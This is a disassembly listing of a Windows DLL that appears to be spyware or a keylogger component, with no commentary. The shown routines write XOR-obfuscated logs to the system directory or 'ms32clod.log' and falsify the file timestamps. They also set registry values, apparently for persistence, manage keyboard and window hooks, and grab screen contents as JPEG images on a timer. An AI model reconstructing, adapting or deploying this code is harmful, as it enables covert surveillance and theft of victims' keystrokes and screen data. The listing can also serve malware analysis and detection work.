		lea	ecx, [ebp+var_334]
		call	sub_1000E1D0
		mov	eax, [ebp+var_5A0]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_100020B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000274A(void	*Dst, int, int)

sub_1000274A	proc near		; CODE XREF: .text:10005B22p
					; StartAddress+180p ...

var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_8]
		add	eax, 1
		push	eax		; Size
		push	0		; Val
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+var_4], 0
		jmp	short loc_10002775
; ---------------------------------------------------------------------------


loc_1000276C:				; CODE XREF: sub_1000274A+4Fj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_10002775:				; CODE XREF: sub_1000274A+20j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jge	short loc_1000279B
		call	ds:rand	; rand
		cdq
		mov	ecx, 3A8h
		idiv	ecx
		mov	edx, [ebp+Dst]
		add	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	al, [ecx+eax]
		mov	[edx], al
		jmp	short loc_1000276C
; ---------------------------------------------------------------------------


loc_1000279B:				; CODE XREF: sub_1000274A+31j
		mov	esp, ebp
		pop	ebp
		retn
sub_1000274A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000279F(wchar_t *Str2, int)

sub_1000279F	proc near		; CODE XREF: TimerFunc+113p

var_10		= dword	ptr -10h
hMem		= dword	ptr -0Ch
var_8		= dword	ptr -8
uBytes		= dword	ptr -4
Str2		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 0
		mov	[ebp+uBytes], 0
		lea	eax, [ebp+uBytes]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		call	sub_1000D0E0
		add	esp, 8
		cmp	[ebp+uBytes], 0
		jnz	short loc_100027D1
		or	eax, 0FFFFFFFFh
		jmp	loc_1000287D
; ---------------------------------------------------------------------------


loc_100027D1:				; CODE XREF: sub_1000279F+28j
		mov	edx, [ebp+uBytes]
		push	edx		; uBytes
		push	40h		; uFlags
		call	ds:LocalAlloc	; LocalAlloc
		mov	[ebp+hMem], eax
		cmp	[ebp+hMem], 0
		jnz	short loc_100027EE
		or	eax, 0FFFFFFFFh
		jmp	loc_1000287D
; ---------------------------------------------------------------------------


loc_100027EE:				; CODE XREF: sub_1000279F+45j
		mov	eax, [ebp+hMem]
		push	eax
		mov	ecx, [ebp+uBytes]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_1000D100
		add	esp, 0Ch
		mov	[ebp+var_8], 0
		jmp	short loc_10002814
; ---------------------------------------------------------------------------


loc_1000280B:				; CODE XREF: sub_1000279F:loc_1000286Ej
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_10002814:				; CODE XREF: sub_1000279F+6Aj
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_10]
		jnb	short loc_10002870
		mov	edx, [ebp+Str2]
		push	edx		; Str2
		mov	eax, [ebp+var_8]
		imul	eax, 4Ch
		mov	ecx, [ebp+hMem]
		mov	edx, [ecx+eax+30h]
		push	edx		; Str1
		call	ds:wcscmp	; wcscmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000286E
		mov	eax, [ebp+var_8]
		imul	eax, 4Ch
		mov	ecx, [ebp+hMem]
		add	ecx, eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx]
		mov	[edx], eax
		mov	eax, [ecx+4]
		mov	[edx+4], eax
		mov	eax, [ecx+8]
		mov	[edx+8], eax
		mov	ecx, [ecx+0Ch]
		mov	[edx+0Ch], ecx
		mov	edx, [ebp+hMem]
		push	edx		; hMem
		call	ds:LocalFree	; LocalFree
		mov	eax, [ebp+var_8]
		jmp	short loc_1000287D
; ---------------------------------------------------------------------------


loc_1000286E:				; CODE XREF: sub_1000279F+9Aj
		jmp	short loc_1000280B
; ---------------------------------------------------------------------------


loc_10002870:				; CODE XREF: sub_1000279F+7Bj
		mov	eax, [ebp+hMem]
		push	eax		; hMem
		call	ds:LocalFree	; LocalFree
		or	eax, 0FFFFFFFFh


loc_1000287D:				; CODE XREF: sub_1000279F+2Dj
					; sub_1000279F+4Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_1000279F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10002881(char	*Str)

sub_10002881	proc near		; CODE XREF: sub_10002C3D+255p
					; sub_100055F0+111p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_8], offset a0123456789abcd ; "0123456789abcdef"
		mov	[ebp+var_4], 0
		mov	[ebp+var_14], 1
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		sub	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_100028B9
; ---------------------------------------------------------------------------


loc_100028B0:				; CODE XREF: sub_10002881+93j
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx


loc_100028B9:				; CODE XREF: sub_10002881+2Dj
		cmp	[ebp+var_C], 0
		jl	short loc_10002916
		mov	[ebp+var_10], 0
		jmp	short loc_100028D1
; ---------------------------------------------------------------------------


loc_100028C8:				; CODE XREF: sub_10002881:loc_100028FAj
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_100028D1:				; CODE XREF: sub_10002881+45j
		mov	eax, [ebp+var_8]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	[ebp+var_10], eax
		ja	short loc_100028FC
		mov	ecx, [ebp+Str]
		add	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_10]
		movsx	ecx, byte ptr [eax]
		cmp	edx, ecx
		jnz	short loc_100028FA
		jmp	short loc_100028FC
; ---------------------------------------------------------------------------


loc_100028FA:				; CODE XREF: sub_10002881+75j
		jmp	short loc_100028C8
; ---------------------------------------------------------------------------


loc_100028FC:				; CODE XREF: sub_10002881+5Fj
					; sub_10002881+77j
		mov	edx, [ebp+var_10]
		imul	edx, [ebp+var_14]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_14]
		shl	ecx, 4
		mov	[ebp+var_14], ecx
		jmp	short loc_100028B0
; ---------------------------------------------------------------------------


loc_10002916:				; CODE XREF: sub_10002881+3Cj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_10002881	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000291D(LPCSTR Source, int, int)

sub_1000291D	proc near		; CODE XREF: sub_1000FFF9+78p
					; sub_1000FFF9+9Fp ...

var_114		= dword	ptr -114h
FileName	= byte ptr -110h
nNumberOfBytesToWrite= dword ptr -10h
hObject		= dword	ptr -0Ch
NumberOfBytesWritten= dword ptr	-8
Dest		= dword	ptr -4
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_1000293B
		mov	eax, [ebp+Source]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	[ebp+nNumberOfBytesToWrite], eax
		jmp	short loc_10002941
; ---------------------------------------------------------------------------


loc_1000293B:				; CODE XREF: sub_1000291D+Dj
		mov	ecx, [ebp+arg_4]
		mov	[ebp+nNumberOfBytesToWrite], ecx


loc_10002941:				; CODE XREF: sub_1000291D+1Cj
		mov	edx, [ebp+nNumberOfBytesToWrite]
		add	edx, 1
		push	edx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Dest], eax
		mov	eax, [ebp+nNumberOfBytesToWrite]
		add	eax, 1
		push	eax		; Size
		push	0		; Val
		mov	ecx, [ebp+Dest]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	edx, [ebp+nNumberOfBytesToWrite]
		push	edx		; Count
		mov	eax, [ebp+Source]
		push	eax		; Source
		mov	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:strncat	; strncat
		add	esp, 0Ch
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jnz	loc_10002A18
		push	0FFh		; uSize
		lea	edx, [ebp+FileName]
		push	edx		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset asc_100227B8 ; "\\"
		lea	eax, [ebp+FileName]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_10022078
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	eax, [ebp+FileName]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		mov	[ebp+var_114], 0
		jmp	short loc_100029F0
; ---------------------------------------------------------------------------


loc_100029E1:				; CODE XREF: sub_1000291D+F7j
		mov	ecx, [ebp+var_114]
		add	ecx, 1
		mov	[ebp+var_114], ecx


loc_100029F0:				; CODE XREF: sub_1000291D+C2j
		mov	edx, [ebp+var_114]
		cmp	edx, [ebp+nNumberOfBytesToWrite]
		jnb	short loc_10002A16
		mov	eax, [ebp+Dest]
		add	eax, [ebp+var_114]
		mov	cl, [eax]
		xor	cl, 96h
		mov	edx, [ebp+Dest]
		add	edx, [ebp+var_114]
		mov	[edx], cl
		jmp	short loc_100029E1
; ---------------------------------------------------------------------------


loc_10002A16:				; CODE XREF: sub_1000291D+DCj
		jmp	short loc_10002A32
; ---------------------------------------------------------------------------


loc_10002A18:				; CODE XREF: sub_1000291D+65j
		push	offset aMs32clod_0 ; "ms32clod"
		push	offset aCS_log	; "c:\\%s.log"
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch


loc_10002A32:				; CODE XREF: sub_1000291D:loc_10002A16j
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_10002AA8
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:SetFilePointer	; SetFilePointer
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		mov	ecx, [ebp+nNumberOfBytesToWrite]
		push	ecx		; nNumberOfBytesToWrite
		mov	edx, [ebp+Dest]
		push	edx		; lpBuffer
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jnz	short loc_10002A9E
		push	offset CreationTime ; lpLastWriteTime
		push	offset CreationTime ; lpLastAccessTime
		push	offset CreationTime ; lpCreationTime
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:SetFileTime	; SetFileTime


loc_10002A9E:				; CODE XREF: sub_1000291D+166j
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_10002AA8:				; CODE XREF: sub_1000291D+138j
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jnz	short loc_10002ABF
		push	0		; int
		lea	eax, [ebp+FileName]
		push	eax		; Str
		call	sub_10009FE2
		add	esp, 8


loc_10002ABF:				; CODE XREF: sub_1000291D+18Fj
		mov	ecx, [ebp+Dest]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_1000291D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	dword ptr [ebp-0Ch], 0
		push	0
		push	0
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		push	0
		push	0FDE9h
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	[ebp-8], eax
		mov	dword ptr [ebp-4], 0
		mov	edx, [ebp-8]
		lea	eax, [edx+edx+2]
		push	eax
		call	??2@YAPAXI@Z	; operator new(uint)
		add	esp, 4
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		mov	[ebp-4], ecx
		mov	edx, [ebp-8]
		add	edx, 5
		push	edx
		push	1
		call	ds:calloc	; calloc
		add	esp, 8
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		push	0FFFFFFFFh
		mov	edx, [ebp+8]
		push	edx
		push	0
		push	0FDE9h
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		push	0
		push	0
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-0Ch]
		push	ecx
		push	0FFFFFFFFh
		mov	edx, [ebp-4]
		push	edx
		push	0
		push	0
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	eax, [ebp-0Ch]
		add	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		push	edx
		call	??3@YAXPAX@Z	; operator delete(void *)
		add	esp, 4
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	dword ptr [ebp-0Ch], 0
		push	0
		push	0
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		push	0
		push	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		shl	eax, 1
		mov	[ebp-8], eax
		mov	dword ptr [ebp-4], 0
		mov	edx, [ebp-8]
		lea	eax, [edx+edx+2]
		push	eax
		call	??2@YAPAXI@Z	; operator new(uint)
		add	esp, 4
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		mov	[ebp-4], ecx
		mov	edx, [ebp-8]
		add	edx, 1
		push	edx
		push	1
		call	ds:calloc	; calloc
		add	esp, 8
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		push	0FFFFFFFFh
		mov	edx, [ebp+8]
		push	edx
		push	0
		push	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		push	0
		push	0
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-0Ch]
		push	ecx
		push	0FFFFFFFFh
		mov	edx, [ebp-4]
		push	edx
		push	0
		push	0FDE9h
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	eax, [ebp-0Ch]
		add	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		push	edx
		call	??3@YAXPAX@Z	; operator delete(void *)
		add	esp, 4
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10002C3D(HKEY	hKey, char *Str, LPCSTR	lpValueName, char *Source, int)

sub_10002C3D	proc near		; CODE XREF: sub_1000A318+A4Dp
					; sub_1000B027+4B9p ...

var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
phkResult	= dword	ptr -508h
Dest		= byte ptr -504h
var_503		= byte ptr -503h
dwDisposition	= dword	ptr -404h
Data		= byte ptr -400h
var_3FF		= byte ptr -3FFh
hKey		= dword	ptr  8
Str		= dword	ptr  0Ch
lpValueName	= dword	ptr  10h
Source		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		push	edi
		mov	[ebp+Dest], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_503]
		rep stosd
		stosw
		stosb
		mov	[ebp+Data], 0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_3FF]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		push	0F003Fh		; samDesired
		push	0		; ulOptions
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpSubKey
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_10002CF0
		lea	edx, [ebp+dwDisposition]
		push	edx		; lpdwDisposition
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpSubKey
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegCreateKeyExA	; RegCreateKeyExA


loc_10002CF0:				; CODE XREF: sub_10002C3D+71j
		cmp	[ebp+arg_10], 0
		jnz	loc_10002D7C
		push	0FFh		; uSize
		lea	edx, [ebp+Data]
		push	edx		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, [ebp+Source]
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; Source
		lea	eax, [ebp+Data]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 8
		lea	ecx, [ebp+Data]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		add	eax, 1
		push	eax		; cbData
		lea	edx, [ebp+Data]
		push	edx		; lpData
		push	1		; dwType
		push	0		; Reserved
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, [ebp+lpValueName]
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpValueName
		mov	eax, [ebp+phkResult]
		push	eax		; hKey
		call	ds:RegSetValueExA	; RegSetValueExA


loc_10002D7C:				; CODE XREF: sub_10002C3D+B7j
		cmp	[ebp+arg_10], 1
		jnz	short loc_10002DF2
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, [ebp+Source]
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; Source
		lea	ecx, [ebp+Data]
		push	ecx		; Dest
		call	strcat	; strcat
		add	esp, 8
		lea	edx, [ebp+Data]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		add	eax, 1
		push	eax		; cbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	1		; dwType
		push	0		; Reserved
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, [ebp+lpValueName]
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpValueName
		mov	ecx, [ebp+phkResult]
		push	ecx		; hKey
		call	ds:RegSetValueExA	; RegSetValueExA


loc_10002DF2:				; CODE XREF: sub_10002C3D+143j
		cmp	[ebp+arg_10], 2
		jnz	short loc_10002E40
		mov	edx, [ebp+Source]
		push	edx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+var_50C], eax
		push	4		; cbData
		lea	eax, [ebp+var_50C]
		push	eax		; lpData
		push	4		; dwType
		push	0		; Reserved
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, [ebp+lpValueName]
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpValueName
		mov	ecx, [ebp+phkResult]
		push	ecx		; hKey
		call	ds:RegSetValueExA	; RegSetValueExA


loc_10002E40:				; CODE XREF: sub_10002C3D+1B9j
		cmp	[ebp+arg_10], 3
		jnz	short loc_10002E88
		mov	edx, [ebp+Source]
		push	edx		; Source
		lea	eax, [ebp+Data]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 8
		lea	ecx, [ebp+Data]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		add	eax, 1
		push	eax		; cbData
		lea	edx, [ebp+Data]
		push	edx		; lpData
		push	1		; dwType
		push	0		; Reserved
		mov	eax, [ebp+lpValueName]
		push	eax		; lpValueName
		mov	ecx, [ebp+phkResult]
		push	ecx		; hKey
		call	ds:RegSetValueExA	; RegSetValueExA


loc_10002E88:				; CODE XREF: sub_10002C3D+207j
		cmp	[ebp+arg_10], 4
		jnz	short loc_10002ED5
		mov	edx, [ebp+Source]
		push	edx		; Str
		call	sub_10002881
		add	esp, 4
		mov	[ebp+var_510], eax
		push	4		; cbData
		lea	eax, [ebp+var_510]
		push	eax		; lpData
		push	4		; dwType
		push	0		; Reserved
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, [ebp+lpValueName]
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpValueName
		mov	ecx, [ebp+phkResult]
		push	ecx		; hKey
		call	ds:RegSetValueExA	; RegSetValueExA


loc_10002ED5:				; CODE XREF: sub_10002C3D+24Fj
		mov	edx, [ebp+phkResult]
		push	edx		; hKey
		call	ds:RegFlushKey	; RegFlushKey
		mov	eax, [ebp+phkResult]
		push	eax		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		mov	eax, 1
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_10002C3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; BOOL __stdcall fn(HWND, LPARAM)

fn		proc near		; DATA XREF: sub_10002F3C+6Ao

Src		= dword	ptr  8
Dst		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Src]
		push	eax		; hWnd
		call	ds:IsWindowVisible	; IsWindowVisible
		test	eax, eax
		jz	short loc_10002F2E
		push	3		; gaFlags
		mov	ecx, [ebp+Src]
		push	ecx		; hwnd
		call	GetAncestor	; GetAncestor
		mov	[ebp+Src], eax
		push	4		; Size
		lea	edx, [ebp+Src]
		push	edx		; Src
		mov	eax, [ebp+Dst]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		xor	eax, eax
		jmp	short loc_10002F33
; ---------------------------------------------------------------------------


loc_10002F2E:				; CODE XREF: fn+Fj
		mov	eax, 1


loc_10002F33:				; CODE XREF: fn+33j
		pop	ebp
		retn	8
fn		endp

; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002F3C	proc near		; CODE XREF: sub_1000537C+2Fp

te		= THREADENTRY32	ptr -28h
th32ProcessID	= dword	ptr -0Ch
hObject		= dword	ptr -8
lParam		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	edi
		mov	[ebp+lParam], 0
		call	ds:GetCurrentProcessId	; GetCurrentProcessId
		mov	[ebp+th32ProcessID], eax
		mov	eax, [ebp+th32ProcessID]
		push	eax		; th32ProcessID
		push	4		; dwFlags
		call	CreateToolhelp32Snapshot	; CreateToolhelp32Snapshot
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_10002FCC
		mov	[ebp+te.dwSize], 0
		mov	ecx, 6
		xor	eax, eax
		lea	edi, [ebp+te.cntUsage]
		rep stosd
		mov	[ebp+te.dwSize], 1Ch
		lea	ecx, [ebp+te]
		push	ecx		; lpte
		mov	edx, [ebp+hObject]
		push	edx		; hSnapshot
		call	Thread32First	; Thread32First
		test	eax, eax
		jz	short loc_10002FCC


loc_10002F92:				; CODE XREF: sub_10002F3C+8Ej
		mov	eax, [ebp+te.th32OwnerProcessID]
		cmp	eax, [ebp+th32ProcessID]
		jnz	short loc_10002FBB
		mov	ecx, [ebp+te.th32ThreadID]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_10002FBB
		lea	edx, [ebp+lParam]
		push	edx		; lParam
		push	offset fn	; lpfn
		mov	eax, [ebp+te.th32ThreadID]
		push	eax		; dwThreadId
		call	ds:EnumThreadWindows	; EnumThreadWindows
		test	eax, eax
		jnz	short loc_10002FBB
		jmp	short loc_10002FCC
; ---------------------------------------------------------------------------


loc_10002FBB:				; CODE XREF: sub_10002F3C+5Cj
					; sub_10002F3C+64j ...
		lea	ecx, [ebp+te]
		push	ecx		; lpte
		mov	edx, [ebp+hObject]
		push	edx		; hSnapshot
		call	Thread32Next	; Thread32Next
		test	eax, eax
		jnz	short loc_10002F92


loc_10002FCC:				; CODE XREF: sub_10002F3C+29j
					; sub_10002F3C+54j ...
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle
		mov	eax, [ebp+lParam]
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_10002F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __stdcall TimerFunc(HWND, UINT, UINT_PTR, DWORD)

TimerFunc	proc near		; DATA XREF: sub_1000537C:loc_10005551o

var_258		= dword	ptr -258h
lpWideCharStr	= dword	ptr -254h
MultiByteStr	= byte ptr -250h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_11C		= byte ptr -11Ch
var_110		= dword	ptr -110h
String2		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_10002FDE
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 24Ch
		push	edi
		mov	[ebp+var_110], 0
		mov	[ebp+String2], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_10B]
		rep stosd
		stosw
		push	0Ah		; dwMilliseconds
		mov	eax, hHandle
		push	eax		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		test	eax, eax
		jz	short loc_10003036
		jmp	loc_1000344F
; ---------------------------------------------------------------------------


loc_10003036:				; CODE XREF: TimerFunc+51j
		cmp	dword_10037124,	0
		jnz	short loc_1000307D
		mov	ecx, hhk
		push	ecx		; hhk
		call	ds:UnhookWindowsHookEx	; UnhookWindowsHookEx
		mov	hhk, 0
		mov	edx, dword_1006A910
		push	edx		; hhk
		call	ds:UnhookWindowsHookEx	; UnhookWindowsHookEx
		mov	dword_1006A910,	0
		mov	eax, uIDEvent
		push	eax		; uIDEvent
		push	0		; hWnd
		call	ds:KillTimer	; KillTimer
		jmp	short loc_1000308A
; ---------------------------------------------------------------------------


loc_1000307D:				; CODE XREF: TimerFunc+5Fj
		mov	ecx, hHandle
		push	ecx		; hEvent
		call	ds:ResetEvent	; ResetEvent


loc_1000308A:				; CODE XREF: TimerFunc+9Dj
		mov	edx, h
		push	edx		; h
		mov	eax, hdc
		push	eax		; hdc
		call	ds:SelectObject	; SelectObject
		mov	ho, eax
		mov	ecx, hdc
		push	ecx		; hdc
		call	ds:DeleteDC	; DeleteDC
		lea	ecx, [ebp+var_11C]
		call	sub_1000EA00
		mov	[ebp+var_4], 0
		cmp	ho, 0
		jnz	short loc_100030CF
		jmp	loc_10003416
; ---------------------------------------------------------------------------


loc_100030CF:				; CODE XREF: TimerFunc+EAj
		lea	ecx, [ebp+var_11C]
		call	sub_1000D550
		and	eax, 0FFh
		test	eax, eax
		jz	loc_10003416
		push	offset dword_10034250 ;	int
		push	offset aImageJpeg ; "image/jpeg"
		call	sub_1000279F
		add	esp, 8
		push	0
		mov	edx, ho
		push	edx
		lea	ecx, [ebp+var_12C]
		call	??0strstreambuf@@QAE@PADH0@Z ; strstreambuf::strstreambuf(char *,int,char *)
		mov	byte ptr [ebp+var_4], 1
		mov	[ebp+var_130], 14h
		mov	[ebp+var_150], 1
		mov	eax, ds:dword_1001FB4C
		mov	[ebp+var_14C], eax
		mov	ecx, ds:dword_1001FB50
		mov	[ebp+var_148], ecx
		mov	edx, ds:dword_1001FB54
		mov	[ebp+var_144], edx
		mov	eax, ds:dword_1001FB58
		mov	[ebp+var_140], eax
		mov	[ebp+var_138], 4
		mov	[ebp+var_13C], 1
		lea	ecx, [ebp+var_130]
